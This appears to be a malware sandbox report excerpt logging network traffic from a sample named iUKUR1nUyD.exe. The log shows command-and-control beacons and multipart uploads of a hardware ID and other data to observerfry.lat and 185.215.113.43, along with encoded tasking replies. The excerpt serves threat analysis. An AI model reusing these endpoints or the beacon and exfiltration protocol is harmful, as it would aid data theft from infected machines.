Dec 24, 2024 12:41:08.346525908 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 36 32 45 37 38 42 32 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB62E78B25082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 24, 2024 12:41:09.716732979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 24 Dec 2024 11:41:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 37 33 0d 0a 20 3c 63 3e 31 30 32 31 37 34 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 30 37 65 38 30 34 35 34 64 62 30 34 35 65 35 34 30 34 62 35 61 30 64 63 30 39 33 66 36 31 39 62 63 61 39 64 62 35 64 36 30 65 36 36 37 32 35 23 31 30 32 31 37 34 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 32 31 37 34 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 32 31 37 35 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 [TRUNCATED] Data Ascii: 573 <c>1021747001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e80454db045e5404b5a0dc093f619bca9db5d60e66725#1021748001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1021749001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1021750001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1021751001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1021752001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2ec1101ae602b21a1d036fcbfdf2028a859a5536e6#1021753001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eabfeffb9ca30804042ba5ce902415450#1021754001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbe06d9d4a43ba4ae81c16034799d2e017bfe3d1482b#1021755001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1021756001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1021757001+++b5937c1a99d5 [TRUNCATED]
Dec 24, 2024 12:41:09.716770887 CET	124	IN	Data Raw: 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 32 31 37 35 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 Data Ascii: b5059bb02ab5e45425197d1aa1daaa8#1021758001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d
Dec 24, 2024 12:41:09.948334932 CET	226	IN	Data Raw: 31 61 61 31 64 61 61 61 38 23 31 30 32 31 37 35 39 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 Data Ascii: 1aa1daaa8#1021759001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1021760001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#<d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.199.72	443	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:07 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-24 11:39:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 11:39:08 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t7ulq87lnm9hp353tu5tk0o84d; expires=Sat, 19 Apr 2025 05:25:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W4%2BSvION%2BqN0QdGFWZiyEgX%2FF6ByhMkcEzUltapKfZlsP1ipIB0xBL1lww1gUVJavv90BC%2Bl03qX0cruS1CWZ66Tqz7RbIhyad4GARw34DQAZpBpFnZ2gjCySXC%2Ff%2F9GHcY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f1cca6e8c29-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1886&min_rtt=1831&rtt_var=726&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1594756&cwnd=188&unsent_bytes=0&cid=a429b776349c7769&ts=752&x=0"
2024-12-24 11:39:08 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 11:39:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.199.72	443	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:09 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: observerfry.lat
2024-12-24 11:39:09 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-24 11:39:10 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=krinalrbhh3ihf47p1fddioooa; expires=Sat, 19 Apr 2025 05:25:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MVVJjLyNs0TdYxuf8uFsYapNvuESpF8Iz6YRkcPiUeIVP3dB%2FHkHaHe7Q%2BXKy200z%2FsVH7doB4HSPLnvX1gkQ7GVe9A1jZZhRvdF2DvPmG%2BZ%2Bcen0v%2FvtV%2FCXXw8QB6I1cI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f291b1defa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1853&min_rtt=1849&rtt_var=701&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=946&delivery_rate=1551540&cwnd=165&unsent_bytes=0&cid=bd159aea3525d08f&ts=784&x=0"
2024-12-24 11:39:10 UTC	238	IN	Data Raw: 31 63 61 63 0d 0a 72 2b 50 4a 6c 56 61 53 52 72 76 6b 48 5a 51 4e 4e 53 44 34 2b 72 51 6e 51 44 2b 4b 6d 56 76 59 2f 6b 45 6d 57 55 51 35 4b 70 4c 55 77 62 2b 33 62 4b 5a 71 6d 5a 64 34 74 6a 64 42 55 6f 32 66 6d 41 55 68 57 36 69 6a 50 62 6d 53 4d 6b 4e 31 5a 6b 39 48 73 4a 57 46 71 50 6b 6c 39 32 71 5a 67 57 57 32 4e 32 35 62 32 70 2f 61 42 58 6f 64 37 2f 4d 35 75 5a 49 6a 52 7a 49 72 53 55 62 78 78 34 2b 75 2f 54 50 78 49 74 71 49 63 50 46 6f 55 45 47 53 6c 4e 31 4b 4b 46 4b 6f 74 58 6d 39 68 47 4d 63 65 77 6c 63 58 76 50 69 67 72 72 2b 64 4f 39 71 77 4d 5a 34 2b 69 38 50 41 70 6d 66 31 6b 73 6d 57 2b 48 78 4d 37 43 61 49 6b 49 7a 4e 46 42 4d 2b 73 65 42 72 66 77 35 2b 44 62 58 67 6e 66 36 62 6c 70 42 Data Ascii: 1cacr+PJlVaSRrvkHZQNNSD4+rQnQD+KmVvY/kEmWUQ5KpLUwb+3bKZqmZd4tjdBUo2fmAUhW6ijPbmSMkN1Zk9HsJWFqPkl92qZgWW2N25b2p/aBXod7/M5uZIjRzIrSUbxx4+u/TPxItqIcPFoUEGSlN1KKFKotXm9hGMcewlcXvPigrr+dO9qwMZ4+i8PApmf1ksmW+HxM7CaIkIzNFBM+seBrfw5+DbXgnf6blpB
2024-12-24 11:39:10 UTC	1369	IN	Data Raw: 32 74 61 57 51 6a 6f 64 73 4c 74 71 69 4a 38 79 56 53 34 72 53 30 36 77 30 73 2b 79 74 7a 50 38 5a 49 48 47 64 2f 70 68 55 6b 47 56 6e 39 64 46 4d 46 4c 6f 2b 44 47 79 6d 43 6c 4c 4e 43 6c 56 51 76 66 46 69 4b 7a 34 4d 2f 67 69 31 6f 55 2f 75 43 39 51 57 74 72 41 6c 6d 55 79 58 75 76 76 4e 4b 76 63 50 41 6f 69 5a 6c 78 45 73 4a 58 42 72 66 6b 31 2f 53 54 4c 6a 6e 54 39 61 6b 56 4a 6b 35 58 62 52 53 39 58 35 2f 67 35 76 5a 59 70 53 7a 45 69 56 6b 58 32 7a 59 48 72 75 58 54 33 50 4a 6e 65 50 39 56 71 52 30 57 57 6a 70 52 2f 59 6b 4b 6d 34 6e 6d 39 6b 47 4d 63 65 79 35 65 53 2f 50 47 6a 71 6a 2f 50 2b 49 6b 79 34 42 79 38 33 31 52 52 35 53 53 31 56 63 6f 55 2b 37 34 4d 4c 47 56 4a 6b 4d 2f 5a 68 55 49 39 39 58 42 38 37 63 56 2f 53 2f 56 6a 47 6a 32 4c 30 67 Data Ascii: 2taWQjodsLtqiJ8yVS4rS06w0s+ytzP8ZIHGd/phUkGVn9dFMFLo+DGymClLNClVQvfFiKz4M/gi1oU/uC9QWtrAlmUyXuvvNKvcPAoiZlxEsJXBrfk1/STLjnT9akVJk5XbRS9X5/g5vZYpSzEiVkX2zYHruXT3PJneP9VqR0WWjpR/YkKm4nm9kGMcey5eS/PGjqj/P+Iky4By831RR5SS1VcoU+74MLGVJkM/ZhUI99XB87cV/S/VjGj2L0g
2024-12-24 11:39:10 UTC	1369	IN	Data Raw: 6c 63 75 56 2b 37 30 4e 4c 62 63 62 51 51 38 50 68 73 51 73 4f 65 43 76 2f 51 2b 73 68 48 61 69 48 48 78 65 52 64 64 31 49 47 57 51 69 34 64 73 4c 73 30 75 35 51 6c 56 6a 51 72 57 45 62 2b 77 6f 53 6b 2f 7a 54 77 4b 64 79 43 64 50 31 73 57 6b 61 49 6b 74 5a 4e 4a 31 7a 69 38 58 6e 30 33 43 52 63 65 33 34 62 65 65 66 47 77 35 37 30 4f 76 34 6a 7a 38 5a 67 75 48 59 58 52 5a 62 59 6a 67 55 76 56 65 33 2b 4e 72 75 57 4c 55 45 78 4b 6c 4e 47 38 39 2b 4f 72 2f 63 34 2b 43 37 55 69 48 76 2b 5a 6c 78 4a 6e 4a 6a 58 54 32 49 54 71 50 77 68 2b 73 52 6a 63 44 77 71 56 6b 65 79 2b 49 4b 6c 2b 54 50 6d 5a 4d 62 49 5a 72 5a 6f 57 77 4c 43 32 4e 70 4d 49 6c 62 69 2f 7a 6d 39 6b 53 5a 48 50 43 56 57 54 2f 72 44 68 71 2f 37 50 66 30 69 32 59 46 37 38 33 31 53 53 35 61 55 Data Ascii: lcuV+70NLbcbQQ8PhsQsOeCv/Q+shHaiHHxeRdd1IGWQi4dsLs0u5QlVjQrWEb+woSk/zTwKdyCdP1sWkaIktZNJ1zi8Xn03CRce34beefGw570Ov4jz8ZguHYXRZbYjgUvVe3+NruWLUExKlNG89+Or/c4+C7UiHv+ZlxJnJjXT2ITqPwh+sRjcDwqVkey+IKl+TPmZMbIZrZoWwLC2NpMIlbi/zm9kSZHPCVWT/rDhq/7Pf0i2YF7831SS5aU
2024-12-24 11:39:10 UTC	1369	IN	Data Raw: 75 6f 35 48 65 6a 33 43 52 49 65 33 34 62 51 66 6e 66 6a 36 58 2b 4f 66 59 73 33 6f 68 79 2f 57 6c 63 52 5a 32 65 32 30 30 76 57 4f 76 36 50 62 43 4f 49 45 38 78 4b 31 45 49 76 6f 32 47 73 37 64 73 73 41 50 56 72 32 2f 74 66 55 45 43 68 64 62 50 42 53 56 52 71 4b 4e 35 75 5a 4d 71 53 7a 4d 75 56 45 66 30 77 34 65 74 2b 6a 48 2f 4c 73 75 4f 63 66 74 6b 57 45 6d 49 6d 4e 74 42 4c 6c 6e 67 38 44 50 36 30 6d 4e 44 49 32 59 44 43 4d 58 41 6a 71 76 30 49 72 41 37 6c 35 38 2f 38 57 4d 58 47 74 71 55 32 45 55 74 55 65 54 77 4d 62 75 51 4c 55 4d 2b 4c 31 4e 41 34 73 79 46 6f 2f 59 36 2f 79 58 64 67 33 72 79 61 46 4e 45 6c 64 69 59 42 53 56 46 71 4b 4e 35 6c 62 73 57 42 68 6f 63 47 31 65 2b 31 4d 47 73 2b 33 53 6f 5a 4e 57 46 63 2f 35 67 55 55 75 57 6b 74 39 4f 4c Data Ascii: uo5Hej3CRIe34bQfnfj6X+OfYs3ohy/WlcRZ2e200vWOv6PbCOIE8xK1EIvo2Gs7dssAPVr2/tfUEChdbPBSVRqKN5uZMqSzMuVEf0w4et+jH/LsuOcftkWEmImNtBLlng8DP60mNDI2YDCMXAjqv0IrA7l58/8WMXGtqU2EUtUeTwMbuQLUM+L1NA4syFo/Y6/yXdg3ryaFNEldiYBSVFqKN5lbsWBhocG1e+1MGs+3SoZNWFc/5gUUuWkt9OL
2024-12-24 11:39:10 UTC	1369	IN	Data Raw: 36 76 70 6b 73 52 54 6f 67 53 55 2f 35 33 34 2b 6d 2b 44 7a 34 4c 64 69 43 65 76 74 70 57 30 69 62 6e 39 68 4c 4b 68 32 6d 75 7a 36 69 33 48 73 45 47 6a 5a 41 57 75 62 41 6f 4b 62 34 64 4f 39 71 77 4d 5a 34 2b 69 38 50 41 70 4f 4b 30 6b 67 77 56 4f 2f 31 4e 72 6d 4f 49 6b 6b 77 4e 46 78 48 39 4d 71 4e 72 66 67 79 38 53 48 54 69 6e 6a 7a 5a 46 68 4f 32 74 61 57 51 6a 6f 64 73 4c 73 58 73 59 38 30 52 7a 55 74 54 56 4f 77 30 73 2b 79 74 7a 50 38 5a 49 48 47 66 50 31 6b 55 30 4b 57 6d 4e 4a 49 49 6b 2f 6e 2f 44 36 7a 6c 7a 46 4f 50 43 46 51 51 50 76 43 68 37 6e 37 4f 75 49 68 79 35 51 2f 75 43 39 51 57 74 72 41 6c 6e 4d 6c 54 66 6a 34 65 34 75 4b 49 46 49 77 4b 31 63 49 37 34 4f 59 36 2f 41 34 73 48 79 5a 67 48 44 2f 62 46 68 44 6b 35 54 62 51 43 74 59 36 66 Data Ascii: 6vpksRTogSU/534+m+Dz4LdiCevtpW0ibn9hLKh2muz6i3HsEGjZAWubAoKb4dO9qwMZ4+i8PApOK0kgwVO/1NrmOIkkwNFxH9MqNrfgy8SHTinjzZFhO2taWQjodsLsXsY80RzUtTVOw0s+ytzP8ZIHGfP1kU0KWmNJIIk/n/D6zlzFOPCFQQPvCh7n7OuIhy5Q/uC9QWtrAlnMlTfj4e4uKIFIwK1cI74OY6/A4sHyZgHD/bFhDk5TbQCtY6f
2024-12-24 11:39:10 UTC	1369	IN	Data Raw: 45 55 63 67 5a 6b 51 47 36 59 32 47 70 37 64 73 73 43 66 65 68 58 37 38 5a 6c 74 4e 6e 5a 7a 45 54 79 56 50 36 66 6f 79 74 35 41 6a 53 54 59 73 57 6b 48 39 77 59 79 73 38 44 76 31 5a 4a 66 47 65 4f 34 76 44 77 4b 37 6c 64 31 4a 65 51 65 6f 35 48 65 6a 33 43 52 49 65 33 34 62 53 50 72 49 69 36 62 30 4f 2f 4d 32 32 49 42 74 39 6d 4a 64 55 4a 43 54 30 30 67 76 55 4f 76 39 50 37 47 51 4d 55 30 37 4a 56 41 49 76 6f 32 47 73 37 64 73 73 41 66 4f 6b 48 58 78 59 30 46 4a 6d 35 76 41 53 44 49 64 70 72 73 6f 76 59 31 6a 48 43 30 32 54 45 2f 76 67 35 6a 72 38 44 69 77 66 4a 6d 41 64 76 42 6f 55 55 79 49 6e 64 42 4b 4c 56 54 68 2f 7a 47 35 6e 43 64 41 50 43 4e 59 52 50 76 4b 67 71 54 7a 50 66 34 74 31 73 59 78 74 6d 68 50 41 73 4c 59 39 31 34 68 55 65 57 37 4a 76 53 Data Ascii: EUcgZkQG6Y2Gp7dssCfehX78ZltNnZzETyVP6foyt5AjSTYsWkH9wYys8Dv1ZJfGeO4vDwK7ld1JeQeo5Hej3CRIe34bSPrIi6b0O/M22IBt9mJdUJCT00gvUOv9P7GQMU07JVAIvo2Gs7dssAfOkHXxY0FJm5vASDIdprsovY1jHC02TE/vg5jr8DiwfJmAdvBoUUyIndBKLVTh/zG5nCdAPCNYRPvKgqTzPf4t1sYxtmhPAsLY914hUeW7JvS
2024-12-24 11:39:10 UTC	265	IN	Data Raw: 57 5a 63 55 4c 43 56 77 59 76 38 49 76 55 6a 7a 38 52 4b 39 57 46 5a 52 59 7a 59 79 58 70 73 48 65 66 68 65 65 4b 6c 4f 67 51 38 4b 68 73 51 73 4e 69 47 71 2f 41 75 35 69 50 56 6c 33 54 37 59 33 56 4e 6e 59 37 56 53 69 46 4d 34 62 63 79 74 39 78 74 42 44 77 2b 47 78 43 77 34 6f 61 39 39 42 76 7a 4e 64 44 47 4d 62 5a 6f 51 51 4c 43 32 4f 67 46 4d 46 37 34 2b 44 61 72 6f 6d 4d 63 49 68 67 62 51 2b 62 4b 6b 61 6a 68 50 2f 30 6f 79 4c 67 2f 72 6a 73 46 45 4d 6a 4b 68 46 70 69 51 74 65 31 65 62 76 63 65 33 30 69 5a 6b 30 49 71 4a 2f 50 36 2b 56 30 71 47 53 65 68 57 33 6b 61 56 52 55 6d 64 2f 6f 65 77 56 4c 34 76 77 70 76 59 73 73 42 48 56 6d 56 41 69 6f 39 4d 47 69 38 43 2f 68 4d 74 53 57 65 4c 5a 51 47 51 4b 43 32 49 34 46 46 31 37 6d 39 54 36 73 6a 57 35 6a Data Ascii: WZcULCVwYv8IvUjz8RK9WFZRYzYyXpsHefheeKlOgQ8KhsQsNiGq/Au5iPVl3T7Y3VNnY7VSiFM4bcyt9xtBDw+GxCw4oa99BvzNdDGMbZoQQLC2OgFMF74+DaromMcIhgbQ+bKkajhP/0oyLg/rjsFEMjKhFpiQte1ebvce30iZk0IqJ/P6+V0qGSehW3kaVRUmd/oewVL4vwpvYssBHVmVAio9MGi8C/hMtSWeLZQGQKC2I4FF17m9T6sjW5j
2024-12-24 11:39:10 UTC	1369	IN	Data Raw: 32 63 37 30 0d 0a 6a 75 75 35 64 50 5a 6b 67 64 55 78 74 6d 74 47 41 73 4c 49 68 42 35 33 44 72 2b 72 61 36 58 53 4f 67 51 74 5a 67 4d 61 76 6f 32 54 36 36 39 30 74 79 66 4c 6c 48 6e 31 65 56 51 46 70 4b 62 78 58 79 39 62 2f 2b 6f 48 68 4a 73 35 53 54 30 78 53 67 54 6c 7a 6f 2b 6c 38 43 4b 77 61 70 6d 4a 50 36 35 57 46 77 72 61 70 35 67 46 4f 68 32 77 75 77 79 35 6b 69 31 44 4c 54 63 57 62 2b 72 41 68 37 7a 6d 64 4c 35 6b 33 38 59 6e 70 69 45 58 52 6f 76 59 6a 68 56 77 42 72 32 6f 62 75 72 4f 50 41 6f 69 5a 6b 30 49 71 4a 2f 50 36 2b 56 30 71 47 53 65 68 57 33 6b 61 56 52 55 6d 64 2f 6f 65 77 78 61 37 76 34 2b 71 74 34 4e 54 79 38 68 47 77 61 77 77 73 48 7a 7a 6e 53 34 5a 4f 62 49 50 2b 34 76 44 77 4b 76 6d 39 68 4c 4a 55 76 35 74 68 65 39 6d 69 5a 44 4b Data Ascii: 2c70juu5dPZkgdUxtmtGAsLIhB53Dr+ra6XSOgQtZgMavo2T6690tyfLlHn1eVQFpKbxXy9b/+oHhJs5ST0xSgTlzo+l8CKwapmJP65WFwrap5gFOh2wuwy5ki1DLTcWb+rAh7zmdL5k38YnpiEXRovYjhVwBr2oburOPAoiZk0IqJ/P6+V0qGSehW3kaVRUmd/oewxa7v4+qt4NTy8hGwawwsHzznS4ZObIP+4vDwKvm9hLJUv5the9miZDK
2024-12-24 11:39:10 UTC	1369	IN	Data Raw: 77 6c 64 50 6c 74 79 61 77 66 4a 6e 42 66 4f 52 39 55 55 47 4d 6d 35 46 37 48 48 72 6d 2f 44 69 73 6a 44 52 4c 64 41 68 74 61 63 37 7a 6c 4b 6a 35 4f 76 63 79 79 4d 59 78 74 6d 41 58 47 71 50 59 6e 67 55 64 45 36 6a 6a 65 65 4c 63 46 6b 63 31 4b 46 78 65 34 59 43 6d 70 66 41 31 35 6a 54 4f 69 54 44 59 57 58 59 43 31 4e 6a 51 42 58 6f 50 70 72 73 39 71 39 78 37 46 47 6c 39 44 68 75 6e 6e 64 4f 30 75 53 32 77 4d 70 6e 65 4c 62 67 76 52 51 4c 43 32 4a 46 47 4d 45 2f 75 2b 43 2b 35 32 78 31 36 48 43 68 63 53 65 62 64 6a 4b 66 57 4e 2b 45 75 35 37 68 71 39 57 46 5a 52 59 79 4a 6c 67 74 69 55 71 69 6a 41 50 72 55 59 33 74 31 5a 6b 4d 49 71 49 32 30 71 50 6b 36 39 7a 4c 49 79 31 6a 34 61 46 5a 55 69 70 58 61 5a 43 46 4d 34 72 74 33 2b 70 70 6a 48 47 6c 6f 47 30 Data Ascii: wldPltyawfJnBfOR9UUGMm5F7HHrm/DisjDRLdAhtac7zlKj5OvcyyMYxtmAXGqPYngUdE6jjeeLcFkc1KFxe4YCmpfA15jTOiTDYWXYC1NjQBXoPprs9q9x7FGl9DhunndO0uS2wMpneLbgvRQLC2JFGME/u+C+52x16HChcSebdjKfWN+Eu57hq9WFZRYyJlgtiUqijAPrUY3t1ZkMIqI20qPk69zLIy1j4aFZUipXaZCFM4rt3+ppjHGloG0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.199.72	443	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:11 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=82U72ZO1YX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12787 Host: observerfry.lat
2024-12-24 11:39:11 UTC	12787	OUT	Data Raw: 2d 2d 38 32 55 37 32 5a 4f 31 59 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 43 36 30 41 44 38 37 36 37 44 34 41 35 35 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 38 32 55 37 32 5a 4f 31 59 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 32 55 37 32 5a 4f 31 59 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 38 32 55 37 32 5a 4f 31 59 58 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --82U72ZO1YXContent-Disposition: form-data; name="hwid"20C60AD8767D4A55BEBA0C6A975F1733--82U72ZO1YXContent-Disposition: form-data; name="pid"2--82U72ZO1YXContent-Disposition: form-data; name="lid"PsFKDg--pablo--82U72ZO1YXContent-
2024-12-24 11:39:12 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e3v4m3vjij253p4pv2r0d1uhfv; expires=Sat, 19 Apr 2025 05:25:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5%2FjTnehiKbHnuAQnWuMiFJNKic6K5gi2gY9YOpWe87KqDqM5g3JFOL2u4nhUyv77JtD9gkKYLq1DVFo34gEtQUuxQF3nDFZLqQGOlOm2jF4VhBmo3VvoLLIcyXsjlPpJNrE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f3819df6a5e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1935&rtt_var=746&sent=11&recv=17&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13718&delivery_rate=1448412&cwnd=186&unsent_bytes=0&cid=7008dfb5f9f845cb&ts=890&x=0"
2024-12-24 11:39:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.199.72	443	2360	C:\Users\user\Desktop\iUKUR1nUyD.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:13 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TSNN0Q6NU8B5Q7T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15059 Host: observerfry.lat
